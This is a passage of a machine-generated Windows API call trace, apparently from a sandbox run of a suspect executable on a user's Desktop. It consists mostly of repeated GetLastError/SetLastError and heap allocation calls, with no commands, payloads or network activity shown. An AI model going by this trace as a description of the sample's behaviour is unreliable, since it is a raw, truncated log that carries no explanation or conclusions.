ac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8f\x4f\xe4\xb2\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0023.319] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46c400, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe")) returned 0x35 [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.319] SetLastError (dwErrCode=0x0) [0023.319] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.320] SetLastError (dwErrCode=0x0) [0023.320] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.321] SetLastError (dwErrCode=0x0) [0023.321] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.322] GetLastError () returned 0x0 [0023.322] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x3e) returned 0x2e3b58 [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.323] GetLastError () returned 0x0 [0023.323] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.324] GetLastError () returned 0x0 [0023.324] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.325] SetLastError (dwErrCode=0x0) [0023.325] GetLastError () returned 0x0 [0023.326] SetLastError (dwErrCode=0x0) [0023.326] GetLastError () returned 0x0 [0023.326] SetLastError (dwErrCode=0x0) [0023.326] GetLastError () returned 0x0 [0023.326] SetLastError (dwErrCode=0x0) [0023.326] GetLastError () returned 0x0 [0023.326] SetLastError (dwErrCode=0x0) [0023.326] GetLastError () returned 0x0 [0023.326] SetLastError (dwErrCode=0x0) [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x9c) returned 0x2ed6e0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1f) returned 0x2ef520 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2a) returned 0x2ec410 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x37) returned 0x2df1f0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3c) returned 0x2e3ba0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x31) returned 0x2f1690 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x15) returned 0x2eeb30 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2ebe38 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x14) returned 0x2eeb50 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd) returned 0x2e1790 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x19) returned 0x2ef548 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2d) returned 0x2ec448 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x16) returned 0x2eeb70 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x17) returned 0x2eeb90 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2ebe68 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe) returned 0x2e17a8 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x69) returned 0x2f16d0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3e) returned 0x2e3be8 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1b) returned 0x2ef570 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1d) returned 0x2ef598 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x48) returned 0x2e7f90 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2eebb0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2eebd0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1b) returned 0x2ef5c0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2ebe98 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x29) returned 0x2ec480 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1e) returned 0x2ef5e8 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x41) returned 0x2e7fe0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x17) returned 0x2eebf0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xf) returned 0x2e17c0 [0023.326] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x16) returned 0x2eec10 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2a) returned 0x2ec4b8 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x29) returned 0x2ec4f0 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x13) returned 0x2eec30 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2eec50 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1e) returned 0x2ef610 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2eec70 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2eec90 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x46) returned 0x2e8030 [0023.327] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f1140 | out: hHeap=0x2d0000) returned 1 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x80) returned 0x2f1748 [0023.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2f17d0 [0023.327] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0023.327] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0023.327] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x43faaf) returned 0x0 [0023.328] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.328] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.328] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.328] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x4) returned 0x2f1fd8 [0023.328] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20) returned 0x2ef6d8 [0023.328] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x2) returned 0x2df230 [0023.328] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2df230 | out: hHeap=0x2d0000) returned 1 [0023.328] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x2) returned 0x2df230 [0023.329] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x4) returned 0x2ed788 [0023.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecb0 [0023.329] GetLastError () returned 0x0 [0023.329] SetLastError (dwErrCode=0x0) [0023.329] GetLastError () returned 0x0 [0023.329] SetLastError (dwErrCode=0x0) [0023.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb8) returned 0x2f0af0 [0023.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6a6) returned 0x2f0bb0 [0023.329] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0bb0 | out: hHeap=0x2d0000) returned 1 [0023.329] GetLastError () returned 0x0 [0023.329] SetLastError (dwErrCode=0x0) [0023.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6) returned 0x2ed798 [0023.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x2) returned 0x2f0bc8 [0023.330] GetLastError () returned 0x0 [0023.330] SetLastError (dwErrCode=0x0) [0023.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4) returned 0x2f0bd8 [0023.330] GetLastError () returned 0x0 [0023.330] SetLastError (dwErrCode=0x0) [0023.330] GetLastError () returned 0x0 [0023.330] SetLastError (dwErrCode=0x0) [0023.330] GetLastError () returned 0x0 [0023.330] SetLastError (dwErrCode=0x0) [0023.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb8) returned 0x2f0fb0 [0023.330] GetLastError () returned 0x0 [0023.330] SetLastError (dwErrCode=0x0) [0023.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6a6) returned 0x2f1fe8 [0023.330] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f1fe8 | out: hHeap=0x2d0000) returned 1 [0023.330] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed798 | out: hHeap=0x2d0000) returned 1 [0023.330] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0af0 | out: hHeap=0x2d0000) returned 1 [0023.331] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0bd8 | out: hHeap=0x2d0000) returned 1 [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6) returned 0x2f0bd8 [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x2) returned 0x2f0be8 [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x200) returned 0x2f1070 [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4) returned 0x2f0bf8 [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb8) returned 0x2f0af0 [0023.331] GetLastError () returned 0x0 [0023.331] SetLastError (dwErrCode=0x0) [0023.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6a6) returned 0x2f1fe8 [0023.331] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f1fe8 | out: hHeap=0x2d0000) returned 1 [0023.332] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0bd8 | out: hHeap=0x2d0000) returned 1 [0023.332] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0fb0 | out: hHeap=0x2d0000) returned 1 [0023.332] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0bf8 | out: hHeap=0x2d0000) returned 1 [0023.332] GetLastError () returned 0x0 [0023.332] SetLastError (dwErrCode=0x0) [0023.332] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6) returned 0x2f0bf8 [0023.332] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0be8 | out: hHeap=0x2d0000) returned 1 [0023.332] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f0bc8 | out: hHeap=0x2d0000) returned 1 [0023.332] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x8) returned 0x2f0bc8 [0023.332] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.332] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.332] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.333] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.333] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.333] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x50) returned 0x2f0fb0 [0023.333] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.333] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.334] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.334] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2f1748) returned 0x80 [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.334] SetLastError (dwErrCode=0x0) [0023.334] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.335] SetLastError (dwErrCode=0x0) [0023.335] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.336] SetLastError (dwErrCode=0x0) [0023.336] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetLastError () returned 0x0 [0023.337] SetLastError (dwErrCode=0x0) [0023.337] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18faec, nSize=0x200 | out: lpFilename="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe")) returned 0x35 [0023.338] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x40) returned 0x2e3c30 [0023.338] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20) returned 0x2ef700 [0023.338] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x30) returned 0x2ec528 [0023.338] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ef700 | out: hHeap=0x2d0000) returned 1 [0023.338] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x47) returned 0x2e8080 [0023.338] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec528 | out: hHeap=0x2d0000) returned 1 [0023.338] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6a) returned 0x2f1278 [0023.338] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e8080 | out: hHeap=0x2d0000) returned 1 [0023.338] GetDialogBaseUnits () returned 1048584 [0023.338] GetDialogBaseUnits () returned 1048584 [0023.338] BeginDeferWindowPos (nNumWindows=0) returned 0x900fd [0023.338] DeferWindowPos (hWinPosInfo=0x18f9d0, hWnd=0x0, hWndInsertAfter=0x0, x=0, y=0, cx=150, cy=20, uFlags=0x14) returned 0x0 [0023.338] DeferWindowPos (hWinPosInfo=0x0, hWnd=0x0, hWndInsertAfter=0x0, x=200, y=0, cx=150, cy=20, uFlags=0x14) returned 0x0 [0023.338] DeferWindowPos (hWinPosInfo=0x0, hWnd=0x0, hWndInsertAfter=0x0, x=400, y=0, cx=150, cy=20, uFlags=0x14) returned 0x0 [0023.338] EndDeferWindowPos (hWinPosInfo=0x0) returned 0 [0023.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x10f, lParam=0x0) returned 0x0 [0023.636] GetLastError () returned 0x578 [0023.636] CreateBindCtx (in: reserved=0x400, ppbc=0x18f8f4 | out: ppbc=0x18f8f4*=0x0) returned 0x80070057 [0023.637] CreateRectRgn (x1=0, y1=0, x2=0, y2=1) returned 0x1b04084e [0023.637] CombineRgn (hrgnDst=0x1b04084e, hrgnSrc1=0x1b04084e, hrgnSrc2=0x0, iMode=1) returned 0 [0023.637] CertDuplicateStore (hCertStore=0x18f8f0) returned 0x18f8f0 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0023.637] RtlAllocateHeap 